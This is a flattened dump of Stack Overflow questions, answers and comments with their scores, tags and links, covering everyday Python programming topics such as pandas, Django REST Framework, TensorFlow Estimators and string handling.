has body: My example will probably need to be hardened in case of exceptions or weird input values, but I think you can accomplish this with something like the following steps: Cut the string off at 30 characters If needed, split the string on the last whitespace. Maybe something like this: input = "Quisque pretium magna ac aliquet interdum. Mauris posuere, risus non mollis placerat, diam ligula commodo justo, ac aliquet velit ante a ipsum." final_string = '' cut_length = 30 while input: temp = input[:cut_length] if input[cut_length] != ' ': temp = temp.split(" ", 1)[0] final_str += temp + "\n" input = input.replace(temp, '', 1) print(final_str)

http://stackoverflow.com/comment/81717899
type: QuestionComment
comment on: http://stackoverflow.com/q/47382359
type: Comment
score: 0
has text: Unfortunately, not possible, as pointed out

point
type: Tag
tag name: point
tags question: http://stackoverflow.com/q/47349833
tags question: http://stackoverflow.com/q/47265844

http://stackoverflow.com/comment/81674560
type: Comment
comment on: http://stackoverflow.com/q/47360803
score: 0
type: QuestionComment
has text: It's also the same reason you can do `df.apply(tuple, 1)` but not `df.apply(list, 1)`

http://stackoverflow.com/comment/81543127
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47295838
has text: Note, you almost certainly don't want to do this anyway, as it won't work properly in production.
score: 2

http://stackoverflow.com/q/47225123
has answer: http://stackoverflow.com/a/47226314
type: AnsweredQuestion
answer count: 3
tagged with: pandas
has body: I have a json file which looks like the one shown in the picture. How can I import and print all the Quantity and Rate in Pandas? How can I print the sum of all the Quantity for Buy and Sell separately? How can I print the sum of all the Quantity who's values is greater than x. For eg:SUM(Qty > 5) In raw format, the data is like this {"success":true,"message":"","result":{"buy":[{"Quantity":199538.30948659,"Rate":0.00000970},{"Quantity":62142.31715449,"Rate":0.00000968},{"Quantity":233476.03486058,"Rate":0.00000967},{"Quantity":75613.30879931,"Rate":0.00000966},{"Quantity":3109.14961399,"Rate":0.00000965},{"Quantity":66.22406639,"Rate":0.00000964},{"Quantity":401.06420081,"Rate":0.00000963},{"Quantity":186.93339628,"Rate":0.00000961},{"Quantity":122731.01165366,"Rate":0.00000960},{"Quantity":7718.27750144,"Rate":0.00000959},{"Quantity":802.00000000,"Rate":0.00000958},{"Quantity":2050.72163419,"Rate":0.00000956},{"Quantity":1000.00000000,"Rate":0.00000955}
score: 1
upvote count: 1
has title: Import and Print Json objects in Dataframe in Pandas
downvote count: 0
accepted answer: http://stackoverflow.com/a/47226314
has answer: http://stackoverflow.com/a/47225546
favorite count: 0
type: Question
possible better answer: http://stackoverflow.com/a/47225546
has answer: http://stackoverflow.com/a/47225889
tagged with: dataframe
tagged with: python

http://stackoverflow.com/a/67998161
has comment: http://stackoverflow.com/comment/120208180
score: -2
has body: def max_pairwise_fast(n, a): max_index1 = 0 max_index2 = 0 for i in range(n): if a[i] &gt; max_index1: max_index2 = max_index1 max_index1 = a[i] elif a[i] &gt; max_index2: max_index2 = a[i] return max_index1 * max_index2 if __name__ == '__main__': input_n = int(input()) input_numbers = [int(x) for x in input().split()] print(max_pairwise_fast(input_n, input_numbers))
type: Answer
upvote count: 0
downvote count: 2
answers question: http://stackoverflow.com/q/47365771

http://stackoverflow.com/a/47286419
downvote count: 0
upvote count: 1
answers question: http://stackoverflow.com/q/47286218
has body: Using forward slashes will work under Windows. fileloc = "N:/Documents/1) Subjects, Word and Powerpoint/GCSE Computing/NEA/GCSE 2017/users/" Alternatively you can use a raw string literal by prefixing an r. fileloc = r"N:\Documents\1) Subjects, Word and Powerpoint\GCSE Computing\NEA\GCSE 2017\users\"
type: Answer
accepted answer of: http://stackoverflow.com/q/47286218
score: 1
type: AcceptedAnswer

http://stackoverflow.com/comment/81443937
type: QuestionComment
has text: @TomKarzes All I am saying is He/She is comparing apples and oranges
comment on: http://stackoverflow.com/q/47246796
score: 0
type: Comment

http://stackoverflow.com/q/47277279
upvote count: 7
has title: Advantage of using experiments in TensorFlow
tagged with: tensorflow
favorite count: 0
has body: Many of TensorFlow's example applications create Experiments and run one of the Experiment's methods by calling tf.contrib.data.learn_runner.run. It looks like an Experiment is essentially a wrapper for an Estimator. The code needed to create and run an Experiment looks more complex than the code needed to create, train, and evaluate an Estimator. I'm sure there's an advantage to using Experiments, but I can't figure out what it is. Could someone fill me in?
type: Question
tagged with: tensorflow-estimator
score: 7
tagged with: python
accepted answer: http://stackoverflow.com/a/47288830
has answer: http://stackoverflow.com/a/47288830
type: AnsweredQuestion
tagged with: deep-learning
answer count: 1
downvote count: 0
tagged with: machine-learning

http://stackoverflow.com/comment/81489376
type: Comment
type: AnswerComment
has text: Very good answer. I will go for Damian solution since he uses very little code.
score: 0
comment on: http://stackoverflow.com/a/47268994

http://stackoverflow.com/comment/81554040
score: 0
comment on: http://stackoverflow.com/q/47278176
type: QuestionComment
type: Comment
has text: it's ok, thank you for suggested me the link but it's not working, i have found the solution, let me answer it

http://stackoverflow.com/comment/81589011
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47318771
has text: @NendoTaka What I'm interpreting from that code is that the user input is going to be in base 2? What would this achieve? Thank you for the comment. Sam van, This concept does remind me of some of the stuff I found in the forums. But addressing each digit and manipulating them individually is still a mystery to me. Thank you both; it feels like I'm getting into the "code this for me" territory. I've basically had to teach the basics to myself.. Thank you again
score: 0

http://stackoverflow.com/comment/81625688
type: AnswerComment
comment on: http://stackoverflow.com/a/47336689
score: 0
type: Comment
has text: Unfortunately, if you stop looping over the generator before you exhaust it (maybe you put it in an `any` that short-circuited), you end up relying on the generator's `__del__` to close the file. That usually happens immediately on CPython, but it can cause subtle compatibility issues with other Python implementations. Theoretically, you could do `with contextlib.closing(whatever_generator)`, but it's kind of awkward and I've never seen anyone do that.

http://stackoverflow.com/a/47343099
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47342666
downvote count: 0
type: Answer
upvote count: 1
has body: You already have people_key_list defined with the names of the keys, so just do a map over that list and extract the values: from pymongo import MongoClient from bson import ObjectId data = [ { '_id': ObjectId("5099803df3f4948bd2f98392"), 'name': 'marie', 'age': '23', 'gender': 'female' }, { '_id': ObjectId("5099803df3f4948bd2f98391"), 'name': 'john', 'age': '43', 'gender': 'male' } ] client = MongoClient(); db = client['test'] db.population.remove({}) db.population.insert_many(data) people_key_list = ['_id', 'name', 'age', 'gender'] people_list = [] for person in db.population.find(): people_list.append(map(lambda k: person[k],people_key_list)) print(people_list) Or even just nest the map for that matter: people_list = map(lambda person: map(lambda k: person[k],people_key_list), db.population.find() ) Either would return: [ [ObjectId('5099803df3f4948bd2f98392'), u'marie', u'23', u'female'], [ObjectId('5099803df3f4948bd2f98391'), u'john', u'43', u'male'] ]
score: 1
answers question: http://stackoverflow.com/q/47342666
has comment: http://stackoverflow.com/comment/81794267

http://stackoverflow.com/a/47369226
score: 0
has body: Put if number == 0: inside while type(number) is not int: loop like this: List = [] while True: try: number = int(input("Please enter a number: ")) if number == 0: Sum = 0 for i in List: Sum = i + Sum print(Sum) break List.append(number) except ValueError: print("Please only enter integer values.")
answers question: http://stackoverflow.com/q/47369168
type: Answer

http://stackoverflow.com/comment/81707046
has text: Can you provide gcc version?
score: 0
comment on: http://stackoverflow.com/q/47377338
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/131614657
type: Comment
score: 0
comment on: http://stackoverflow.com/a/47269413
type: AnswerComment
has text: That should be "a certain comparison criterion".

http://stackoverflow.com/comment/81661457
score: 0
comment on: http://stackoverflow.com/q/47353802
type: Comment
type: QuestionComment
has text: Should not be necessary as it is not part of the form. Also cannot put it before the save as the iD does not exist yet.

http://stackoverflow.com/q/47250738
tagged with: python
has comment: http://stackoverflow.com/comment/81451715
score: -1
accepted answer: http://stackoverflow.com/a/47251028
has answer: http://stackoverflow.com/a/47251028
type: AnsweredQuestion
answer count: 2
has comment: http://stackoverflow.com/comment/81451841
possible better answer: http://stackoverflow.com/a/47251342
has answer: http://stackoverflow.com/a/47251342
downvote count: 1
has title: In Python print any None values in a dict, error, too many values to unpack
favorite count: 0
type: Question
tagged with: python-3.x
has body: In Python 3.x I want to print out any values that are null/None in a directory. This is what I have tried: dict = { 'USER': self.user, 'SUBJECT': self.sub, 'BODY': self.body, } null_keys = [value for key, value in dict if key[value] is None] if null_keys: print('You have NULL value(s) for...{}'.format(null_keys) However, I get this error: ValueError: too many values to unpack (expected 2) why?
upvote count: 0

http://stackoverflow.com/comment/81541554
has text: @MattR Let me explain myself. I only assumed you had mistaken the order, and I tried to correct it. Anyway, I might have misunderstood your initial statement, but I've tried to correct that in an edit.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/47295142
type: AnswerComment

http://stackoverflow.com/q/47307561
type: Question
answer count: 0
tagged with: pyqt
type: UnansweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/81579448
has comment: http://stackoverflow.com/comment/81577448
has title: How can I install PyQt and SIP for python 2.7 on Scientific Linux?
linked to: http://stackoverflow.com/q/4010842
has body: I've asked a similar question here, with no response, but basically, how can I install PyQt and SIP for python 2.7 on Scientific Linux 7? This answer seemed to get me there, but I'm getting the error error: ‘QPrinter::PrinterState’ is not a class or namespace (And the same error for QPaintEngine::Type, Qt::WindowFrameSelection, QStyle::SubControl, QValidator::State.) Any idea how to fix this, or find a better way to install PyQt? Nearly all the other answers I've seen either relate to python 3 or Ubuntu, so I need a solution that works with python 2.7 on Scientific Linux (or RHEL/CentOS at least).
tagged with: python
has comment: http://stackoverflow.com/comment/81579656
tagged with: python-2.7
tagged with: linux
has comment: http://stackoverflow.com/comment/81578351

http://stackoverflow.com/comment/89894097
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47253638
has text: Try: https://stackoverflow.com/a/50671800/7976758
type: Comment

http://stackoverflow.com/q/47291576
has title: VS Code not detecting Python3 interpreter on MacOS
tagged with: macos
has answer: http://stackoverflow.com/a/48645970
has body: I just upgrade python3 to 3.6 (using homebrew) and now VS Code doesn't seem to be aware of it. When I try to select my Python interpreter I see 2.7.9 and 2.7.10 (in /usr/bin and /usr/local/bin respectively) but I do not see 3.6.3 (/usr/local/bin/python3). It's certainly in my path, and I'm aware that I can update settings.json manually, but I use both Python 2 and 3 for various projects and making them available via the interpreter switcher would be incredibly useful. Any ideas why Code isn't autodetecting python3? Or is there a way for me to force-add it to the list?
tagged with: macos-high-sierra
type: Question
answer count: 2
tagged with: visual-studio-code
upvote count: 2
has comment: http://stackoverflow.com/comment/81842335
tagged with: python
tagged with: python-3.6
downvote count: 1
favorite count: 0
accepted answer: http://stackoverflow.com/a/47291769
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47291769
score: 1
possible better answer: http://stackoverflow.com/a/48645970
has comment: http://stackoverflow.com/comment/81533674

http://stackoverflow.com/comment/130510280
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/47349768
type: Comment
has text: @ChristopherJones I'm very confused about the conventions. Do you have any documentation I can refer to? I have a script that (a) will not work if there are no semicolons, (b) will not work if there are semi-colons but no *trailing* semi-colon, and (c) will not work if each line ends in a semi-colon. I get `ORA-00933: SQL command not properly ended` in all cases.

http://stackoverflow.com/q/47364370
tagged with: time-complexity
has body: Below is my code to return the maximum number in the list, but for some reason it returns 9. I must clarify that the aim of this program is to compare BigO complexities of quadratic - O(n^2) with Linear O(n) . So I am looking for a way to solve this problem with nested loop which will represent O(n^2). Please give a nested loop solution a = [2,4,7,2,1,9,33,105,2,3,7,300,4,9] maxa = a[0] for i in a: for j in a: if (i&gt;j): maxa = i print("greatest number is " + str(maxa)) help figure what the problem is
has answer: http://stackoverflow.com/a/47364816
downvote count: 3
has answer: http://stackoverflow.com/a/79447521
has title: Finding the maximum number in a list python 3
has answer: http://stackoverflow.com/a/47365257
favorite count: 0
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/81682589
has answer: http://stackoverflow.com/a/47364428
has comment: http://stackoverflow.com/comment/81682275
has comment: http://stackoverflow.com/comment/81682472
answer count: 5
has comment: http://stackoverflow.com/comment/81682361
tagged with: python
score: -1
has comment: http://stackoverflow.com/comment/81681670
tagged with: big-o
possible better answer: http://stackoverflow.com/a/47364399
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81682178
has comment: http://stackoverflow.com/comment/81682253
tagged with: list
accepted answer: http://stackoverflow.com/a/47364816
has comment: http://stackoverflow.com/comment/81682540
has answer: http://stackoverflow.com/a/47364399
upvote count: 2

http://stackoverflow.com/q/47224965
type: Question
upvote count: 2
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/47225355
tagged with: package
downvote count: 0
tagged with: pip
tagged with: python
tagged with: module
score: 2
tagged with: python-2.7
has title: Hide implementation modules and submodules in package
has body: I want to package my code to expose only the main functions. My directory is like this: ./ setup.py my_module/ __init__.py public_functions.py internal_modules/ __init__.py A.py B.py other_modules.py/ __init__.py C.py In public_functions I do import some operations from internal_modules.A but NOT from internal_modules.B, and both A.py and B.py uses some functions from C.py. My setup.py is as follows: from setuptools import setup setup(name='my_module', version='0.1', description='my_awesome_module', author='Me', author_email='example@mail.com', license='MIT', packages=['my_module'], zip_safe=False) I want to install it with pip, but I want not to let any of my internal_modules visible from my package once it is installed. I could install it properly but when I do from my_module import public_module it throws ImportError: no module named internal_modules.A in public_module.py's first line. I know I can fix it if I add my_module.internal_modules to my setup.py declaration as another package, but this will let my internal_modules public with A.py and B.py visible from installed package. I found a similar question here but it's not working for me
answer count: 1
linked to: http://stackoverflow.com/q/8769991
favorite count: 0

http://stackoverflow.com/q/47276299
downvote count: 0
linked to: http://stackoverflow.com/q/36415550
has body: For some silly reasons, I recently needed to construct None. My first attempt was to grab None's class and use it. nt = type(None) However, calling nt give this error: nt() TypeError: cannot create 'NoneType' instances This gave me a chuckle and replaced that attempt with: nt = lambda: None This got me to thinking about why this doesn't work. I know that there is exactly one None for the interpreter, but this is also true of several other python objects and their constructors do not behave this way. This SO question talks about about None and it's type heritage but as far as I can tell, this doesn't explain why type(None)() results in a TypeError. I'm thinking that it must be related to some error checking that happens for return values of __new__ in metaclasses, but I'm not sure. EDIT: Not a dup of Value of Py_None That question asks "What is the c level value for the Py_None object in CPython?" This question is specifically about "why does type(None)() produce a runtime error (TypeError)". type(None) gives us NoneType which is an instance of type. It is quite odd that calling this results in TypeError. As @metatoaster pointed out, this behavior is specific to 2.x. In 3.x NoneType() will produce None. This is the behavior I expect and apparently the core devs that made the change thought so too. @metatoaster also provided a source link which look promising. It seems likely that this line is what is producing the runtime error message 'TypeError: cannot create 'NoneType' instances'. I did a regex search of the 2.7.14 tag in the cpython repo for cannot create .* instances and this line is the only result. This is the context for the message: static PyObject * type_call(PyTypeObject *type, PyObject *args, PyObject *kwds) { PyObject *obj; if (type-&gt;tp_new == NULL) { PyErr_Format(PyExc_TypeError, "cannot create '%.100s' instances", type-&gt;tp_name); return NULL; } ... } There are a few places in the repo that set tp_new to NULL but none of them have anything to do w…
has comment: http://stackoverflow.com/comment/81504051
type: Question
has comment: http://stackoverflow.com/comment/81503832
has title: NoneType class cannot construct None
score: 3
tagged with: python
has comment: http://stackoverflow.com/comment/81503813
has comment: http://stackoverflow.com/comment/81505809
has comment: http://stackoverflow.com/comment/81506086
favorite count: 0
has comment: http://stackoverflow.com/comment/81503907
linked to: http://stackoverflow.com/q/41048643
linked to: http://stackoverflow.com/q/33121048
has comment: http://stackoverflow.com/comment/81506092
tagged with: python-2.7
has comment: http://stackoverflow.com/comment/81504060
answer count: 0
upvote count: 3
linked to: http://stackoverflow.com/q/17424516
type: UnansweredQuestion

http://stackoverflow.com/a/47330681
has body: Since ZeroMQ v.2.x .recv() method supports ZMQ_NOBLOCK flag and ZMQ_RCVMORE flag. The flags argument, as defined in the API, is a combination of the flags. Be also informed, that respective third party language bindings / wrappers { may | do } provide their respective own ( typically #define'd constant names ), so the best place to check is the pyzmq source code. So far a python was equipped with these flag-constants in this manner: import zmq print( zmq.__version__ ) 2.1.11 print( zmq.NOBLOCK ) 1 print( zmq.RCVMORE ) 13 print( zmq.Socket.recv.__doc__ ) ...
score: 2
upvote count: 2
accepted answer of: http://stackoverflow.com/q/47330208
type: AcceptedAnswer
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/47330208

http://stackoverflow.com/q/47334454
tagged with: plot
type: Question
tagged with: python
has comment: http://stackoverflow.com/comment/81639943
accepted answer: http://stackoverflow.com/a/47397314
has title: netCDF4-Python Plotting variables
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81680474
score: 0
has answer: http://stackoverflow.com/a/47397314
tagged with: netcdf
answer count: 1
has body: I would like to plot a selection of variables from a netCDF file using netCDF4-Python.I am using the following code: import numpy as np import pandas as pd from pylab import * from netCDF4 import Dataset pals = Dataset('pals_amplero_2003_2006_ecmwf_v1.nc4', "a",format='NETCDF4') print (pals.variables.keys()) print (pals.variables['Rainf']) print (pals.variables['Evap']) print (pals.variables['time']) evap = pals.variables['Evap'][:,:] rain = pals.variables['Rainf'][:,:] subplot(2,1,1) pcolor(evap) subplot(2,1,2) pcolor(rain) Unfortunately, it outputs an error message (more detailed in the enclosed document): ValueError: too many values to unpack (expected 2) For info the following is the output of the print commands odict_keys(['DelIntercept', 'DelSWE', 'DelSoilMoist', 'Evap', 'Qs', 'Qsb', 'Qsm', 'Rainf', 'Snowf', 'lat', 'lon', 'nlevs', 'time', 'timestp', 'M_fieldcap', 'M_sat', 'M_wilt', 'SoilDepth', 'CanopInt', 'Conds', 'ECanop', 'ESoil', 'RootMoist', 'SubSnow', 'TVeg', 'DelColdCont', 'DelSoilHeat', 'LWnet', 'LWup', 'Qf', 'Qg', 'Qh', 'Qle', 'SWnet', 'Fdepth', 'HFLUXRF', 'IceFrac', 'MFLUXRF', 'SAlbedo', 'SnowDepth', 'SnowFrac', 'Tdepth', 'WSN', 'AvgSurfT', 'HLICE', 'HLML', 'SWE', 'SnowT', 'SoilMoist', 'SoilTemp', 'TLBOT', 'TLICE', 'TLMNW', 'TLSF', 'TLWML', 'icetemp', 'snowdens', 'Albedo', 'BaresoilT', 'RH2m', 'RadT', 'T2m', 'VegT', 'Bgain', 'Biomstr', 'Biomstr2', 'Bloss', 'biomass', 'lai', 'Ag', 'An', 'CO2flux', 'Rd', 'Reco', 'Rsoil_str']) &lt;class 'netCDF4._netCDF4.Variable'&gt; float32 Rainf(time, y, x) units: mm/day long_name: Rainfall rate associate: time y x missing_value: 1e+20 time_representation: average over past model timestep unlimited dimensions: time current shape = (70084, 1, 1) filling on, default _FillValue of 9.969209968386869e+36 used &lt;class 'netCDF4._netCDF4.Variable'&gt; float32 Evap(time, y, x) units: mm/day long_name: Total evapotranspiration associate: time y x missing_value: 1e+20 time_representation: average over past model timestep unli…
has comment: http://stackoverflow.com/comment/81743279
has comment: http://stackoverflow.com/comment/81657799

http://stackoverflow.com/comment/81613209
score: 0
has text: I've added an alternate solution which doesn't use 'eval', but could you explain the problem with using it? There is no error checking in the program whatsoever, neither in any of the answers provided by anyone, it's not made to be secure, just a simple script to get a job done - if it crashes from an incorrect input, relaunch it
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47330975

http://stackoverflow.com/a/47362160
answers question: http://stackoverflow.com/q/47361962
has body: Regular expressions is what you want. Since your going to check for a pattern in a string, you can make use of the python's builtin support for regular expressions through re library. Example: #To check if there is a period internal to a sequence of letters with no adjacent whitespace import re str = 'www.google.com' pattern = '.*\..*' obj = re.compile(pattern) if obj.search(str): print "Pattern matched" Similarly generate patterns for the conditions you want to check in your string. #If there is a period and it is followed by a whitespace followed by a lowercase letter regex = '.*\. [a-z].*' You can generate and test your regular expressions online using this simple tool Read more extensively about re library here
upvote count: 1
score: 1
type: Answer
downvote count: 0

http://stackoverflow.com/comment/81631748
comment on: http://stackoverflow.com/q/47339676
type: Comment
type: QuestionComment
has text: Right now, for every element in str1 it looks at *all* elements in str2. You only want it to look at the next element of str2. You only need 1 for loop over str1, not 2 loops over str1 *and* str2, because str1 and str2 are the same length.
score: 0

http://stackoverflow.com/comment/81694657
type: Comment
comment on: http://stackoverflow.com/a/47371023
has text: Nice, retains numeric property too.
type: AnswerComment
score: 0

http://stackoverflow.com/comment/81716302
has text: Have you tried sorting `indices`?
type: Comment
comment on: http://stackoverflow.com/q/47381845
type: QuestionComment
score: 1

http://stackoverflow.com/comment/81609978
comment on: http://stackoverflow.com/q/47329526
type: Comment
has text: I am using the Django 2.0.
type: QuestionComment
score: 1

http://stackoverflow.com/comment/81553254
type: Comment
type: QuestionComment
has text: @DanteDevilhunter the problem is that you are iterating through globals, but globals contains at least one module object. Globals will contain *everything* at the module-level. Don't do this. Just use `json` as a serialization format, or if you want to use a python module, put all your `a` variables in a list, then `from data import a_list` and iterate over that list.
comment on: http://stackoverflow.com/q/47300798
score: 0

http://stackoverflow.com/a/73054809
score: 1
upvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/47246668
downvote count: 0
has body: Embrace regex! This finds all occurrences of the pattern non-digit character followed by non-negative integer (any number of digits) and replaces that substring with that many of the character. import re re.sub(r'(\D)(\d+)', lambda m: m.group(1) * int(m.group(2)), 'A3G3A')

http://stackoverflow.com/q/47341523
downvote count: 0
has answer: http://stackoverflow.com/a/47343015
tagged with: python
type: UnansweredQuestion
tagged with: lambda
has answer: http://stackoverflow.com/a/47341570
type: Question
tagged with: pandas
has body: if I want to do the following in Pandas, how do I do it using Lambda: df['c'] = 0 df['c'][(df['a']==1) | (df['b'] ==1)] = 1 Thanks
has title: Using lambda to create a new variable in Pandas
favorite count: 0
score: 2
upvote count: 2
answer count: 2

http://stackoverflow.com/comment/81716432
type: Comment
comment on: http://stackoverflow.com/q/47381865
type: QuestionComment
score: 0
has text: It is same like `obama = data.loc[35817, 'text']`

http://stackoverflow.com/comment/81554420
type: QuestionComment
comment on: http://stackoverflow.com/q/47280435
type: Comment
has text: You're a developer, you should know that "I am getting an error page" is useless, what matters is _what the error says_. In fact your question was completely explained by the error message.
score: 0

http://stackoverflow.com/comment/81627765
score: 0
has text: Do you _need_ to write data to a file, or do you just want to pass information between threads and this is the first approach that came to mind? Perhaps you could be using [Queues](https://docs.python.org/3.6/library/queue.html) instead, which do a lot of the heavy lifting for you.
type: QuestionComment
comment on: http://stackoverflow.com/q/47337819
type: Comment

http://stackoverflow.com/q/47339848
upvote count: 2
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/48698152
has body: To practice my Django skills i try to make simple module that should work more or less like Admin site in Django. It should gather all Models from Application, list them and show every object from each Model. i try to do is using Django Rest Framework. Here is my views.py. I have 2 views. The api_root listens all models but it also sends params-models_names to another view 'model_view'. The ModelViewSet should list all objects from particular model. class ModelsViewSet(viewsets.ModelViewSet): def get_serializer(self, *args, **kwargs): serializer_name = '{model_name}Serializer'.format( model_name=self.kwargs.get('name').split(".")[1] ) return getattr(serializers, serializer_name) def get_model(self): """methods return model based on name kwargs :return: """ return apps.get_model(self.kwargs.get('name')) def get_queryset(self): return self.get_model().objects.all() def get_object(self): return self.get_model().objects.get(pk=self.kwargs.get('pk')) @api_view(['GET']) def api_root(request, format=None): return Response([reverse( viewname='model_view', kwargs={'name': i._meta.label}) for i in apps.get_models()]) Here is my serializers.py. In this file serializers classes are dynamically build. Each class is built on the basis of the model from django.apps. from django.apps import apps from rest_framework import serializers from admin_site import serializers as m from . import models app_models = apps.get_models() for item in app_models: name = "{}Serializer".format(item.__name__) class Meta(type): model = item fields = '__all__' m.__dict__[name] = type(name, (serializers.ModelSerializer,), {}) m.__dict__[name].__metaclass__ = Meta And finally here is my my_app.urls.py file. I think that maybe the problem is that ModelSetView isn't registered using DefaultRouter() but on the other hand i need to pass param to urlpattern. I don't know urlpatterns = [ url(r'^$', views.api_root), url(r'^model/(?P&lt;name&gt;[\w\-\.]+)/$', views.ModelsViewSet.as_view({'get': 'list', 'put':'up…
answer count: 1
downvote count: 0
tagged with: django
tagged with: django-rest-framework
favorite count: 0
tagged with: serialization
tagged with: python
has title: AttributeError: 'property' object has no attribute 'copy' - while trying to get object list in Django Rest
type: Question
score: 2

http://stackoverflow.com/a/47325962
score: 0
has body: Yes. @Andrey method is the right way of solving the problem. I have tried removing the high frequency dots in the frequency domain and here is an example of how it will look like if done correctly Original Image in grayscale. After running FFT on the image Removing all high frequency noise. Of course this is done manually by drawing a black circle around the noise source. You can design your program to detect local bright spot and remove them cleanly. Here is the final result after inverse FFT of the above frequency image. Some what degraded due to the crude way of me removing the noise but it should give you a rough idea of how it can be done. Only the area around the dots will be affected by this process, leaving all other pattern in their original form.
answers question: http://stackoverflow.com/q/47324258
type: Answer

http://stackoverflow.com/comment/81453954
has text: The data in your use case -- check to see if there is any None values?
comment on: http://stackoverflow.com/q/47251752
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/81678565
comment on: http://stackoverflow.com/q/47362791
score: 0
type: Comment
type: QuestionComment
has text: Presumably you need to test if the number is negative to break out of the loop first, not second. Negative values can produce results with `%`.

http://stackoverflow.com/a/47343241
upvote count: 3
type: Answer
has comment: http://stackoverflow.com/comment/81639080
has body: set_index and stack df.set_index(['origin','pastime']).stack().reset_index() Out[150]: origin pastime level_2 0 0 japan baseball 2010-01-01 4 1 japan baseball 2000-01-01 4 2 japan baseball 2005-01-01 4 3 japan sumo 2010-01-01 2 4 japan sumo 2000-01-01 5 5 japan sumo 2005-01-01 3 6 japan keirin 2010-01-01 2 7 japan keirin 2000-01-01 4 8 japan keirin 2005-01-01 2 9 japan football 2010-01-01 1 10 japan football 2000-01-01 5 11 japan football 2005-01-01 1 PS. you can use rename for change the column name
has comment: http://stackoverflow.com/comment/81639472
has comment: http://stackoverflow.com/comment/81638521
downvote count: 0
answers question: http://stackoverflow.com/q/47343204
score: 3

http://stackoverflow.com/comment/81699446
type: Comment
type: QuestionComment
has text: is it like moduleA.moduleA.a ?
comment on: http://stackoverflow.com/q/47373416
score: 0

http://stackoverflow.com/a/47267890
has body: I'll suggest to transform/keep your data structure into/as dicts. In that way, you won't need to iterate over both lists with nested for loops - an O(n2) or O(n x m) operation - searching for where the lists' code numbers align before updating the score value. You'll simply update the value of the score where the key at the corresponding dict matches the search string: dct_score = dict(itemswithscore) dct_license = dict(itemswithlicense) for k in dct_score: if dct_license.get(k) == 'THIS': # use dict.get in case key does not exist dct_score[k] += 50
answers question: http://stackoverflow.com/q/47267727
has comment: http://stackoverflow.com/comment/81495272
accepted answer of: http://stackoverflow.com/q/47267727
type: Answer
has comment: http://stackoverflow.com/comment/81494502
score: 4
has comment: http://stackoverflow.com/comment/81494710
upvote count: 4
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/a/47296038
score: 1
upvote count: 1
has body: You are passing arguments across process boundaries to do a simple calculation. I expect it will be extremely slow. If you need speed, I recommend you fall back to a single threaded implementation, and find a way to vectorize it using numpy. Profile it with cProfile. Attack the hot spots. A huge benefit of numpy is reduced python overhead (name resolution, looping, etc). Once you've got the single-threaded approach fast, only then move on to parallel processing. An added benefit of vectorizing your problem is that numpy unlocks the GIL for lengthy calls, allowing true threading, vs multiprocessing.
type: Answer
has comment: http://stackoverflow.com/comment/81544480
answers question: http://stackoverflow.com/q/47295824
has comment: http://stackoverflow.com/comment/81543731
downvote count: 0

http://stackoverflow.com/comment/81578252
type: Comment
type: QuestionComment
has text: Indeed no conceptual reason to have the MPS reader "close" to the solver. In practice, most solvers have MPS readers built-in. MPS files can become very large and we want to read these very fast and produce immediately a data structure (sparse matrix) suited for the solver (column wise storage of the nonzeros).
comment on: http://stackoverflow.com/q/47306429
score: 0

http://stackoverflow.com/comment/81498978
has text: What anomalies? Are they explained in the body of your question?
type: AnswerComment
comment on: http://stackoverflow.com/a/47273668
score: 0
type: Comment

http://stackoverflow.com/comment/81601746
type: Comment
score: 0
comment on: http://stackoverflow.com/q/47324921
type: QuestionComment
has text: copy paste each command separately. 1) from sklearn.datasets import fetch_mldata 2) mnist = fetch_mldata('MNIST original')

http://stackoverflow.com/comment/81407623
has text: Does this code run at all? It's basically doing `if [a, b, c] > 50`, which seems unlikely to work.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47228580
score: 2

http://stackoverflow.com/a/47368253
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/47368070
upvote count: 1
has body: The apply method didn't work because when the row is completely filled your clean function will not know where to start the index from because of empty array for the given series. So use a condition before altering series data i.e def clean(series): # Creating a copy for the sake of safety series = series.copy() # Alter series if only there exists a None value if pd.isnull(series).any(): start = np.min(list(series.index[pd.isnull(series)])) # for completely filled row # series.index[pd.isnull(series)] will return # Int64Index([], dtype='int64') end = len(series) series[start:] = series[start-1] return series df.apply(clean,1) Output : 0 1 2 0 0.0 2.0 5.0 1 2.0 4.0 4.0 2 7.0 -5.0 4.0 3 1.0 1.0 1.0 Hope it clarifies why apply didn't work. I also suggest to take builtins to consideration to clean the data rather than writing functions from scratch.
downvote count: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/47368070
score: 1

http://stackoverflow.com/q/47272381
downvote count: 0
has answer: http://stackoverflow.com/a/47272708
has answer: http://stackoverflow.com/a/47272439
favorite count: 0
has comment: http://stackoverflow.com/comment/81495965
type: Question
score: 3
answer count: 5
has answer: http://stackoverflow.com/a/47272440
tagged with: python
has body: Hi i’m sort of new to Python and i’m trying to convert a string of characters to ASCII in Python but I don’t know how to do that So the relevant parts of my code are probably this string = input(“Enter a line of text: “) l = list(string) return(l) So it puts the input in a list because then it’s separate characters instead of a whole string of them but then I don’t know how to convert it to ASCII. I know I have to use ord() but I don’t understand how to do that when it’s more than one character because I don’t know what the input will be so I can’t just do like ord(A). How can I do it?
has comment: http://stackoverflow.com/comment/81495903
has answer: http://stackoverflow.com/a/47272500
has answer: http://stackoverflow.com/a/47272450
has title: How to convert a list of characters to ASCII in python?
upvote count: 3
type: UnansweredQuestion

http://stackoverflow.com/q/47225863
has answer: http://stackoverflow.com/a/47226145
tagged with: pandas
tagged with: python
has answer: http://stackoverflow.com/a/47226019
